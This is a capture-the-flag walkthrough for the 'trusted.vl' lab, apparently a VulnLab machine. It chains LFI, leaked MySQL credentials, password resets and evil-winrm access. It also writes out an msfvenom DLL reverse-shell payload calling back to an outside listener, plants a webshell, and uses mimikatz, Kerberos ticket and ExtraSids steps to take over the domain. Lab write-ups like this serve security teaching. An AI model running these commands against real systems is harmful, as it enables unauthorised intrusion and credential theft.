There is an apache website on trusted.vl:

Using gobuster to fuzz directories: We discover a webpage at /dev:

Now testing for LFI: It works.

Checking index.html using php filters we get a base64. Running gobuster for php extension we get a file called db.php.

Now using LFI:

Now logging in to mysql: mysql -u root -pSuperSecureMySQLPassw0rd1337. -h 10.10.225.134

And checking the database news: select * from users;

The password is MD5 hash so cracking it:

Trying to use bloodhound.py it doesnt work and gives an error: Using dnschef: dnschef --fakeip 10.10.225.134

Now using bloodhound.py: bloodhound.py -u 'rsmith' -p 'IHateEric2' -d lab.trusted.vl -dc labdc.lab.trusted.vl -c all -ns 127.0.0.1 Now we can change the password: net rpc password "EWALTERS" "aditya123@" -U "lab.trusted.vl"/"rsmith"%"IHateEric2" -S "labdc.lab.trusted.vl"

Now we can use evil-winrm: evil-winrm -i labdc.lab.trusted.vl -u ewalters -p aditya123@

Now checking the C drive there is an exe:

Now transfering to windows vm and using prcomon: It is vulnerable to dll hijacking

And the exe is 32 bit:

So creating a payload for missing dll: msfvenom -p windows/shell_reverse_tcp -f dll LHOST=10.8.1.208 LPORT=9005 > KasperskyRemovalToolENU.dll and uploading it in the respective place:

We get a shell

Alternate privesc

Using mysql upload a webshell to the web directory which we have access to where it is with phpinfo in the home page:

Then access the page: Now we can upload rcat.exe and get a reverse shell back:

Lateral Movement

From adpeas we know there is a parent child relation so: Using mimikatz to dump hashes:

Now using

Then using the ticket:

Now we have tgs: export KRB5CCNAME=administrator.ccache psexec.py administrator@trusteddc.trusted.vl -k -no-pass

Now we can create a user and add to "Domain Admins" and "Enterprise Admins"

Then enable logging in rdp with pth:

Now we can rdp to the machine.

To get administrator hash use -ntds in nxc Then get the hash:

[[ExtraSids]] Method

With mimikatz

Now to enable rdp:

Then to login:
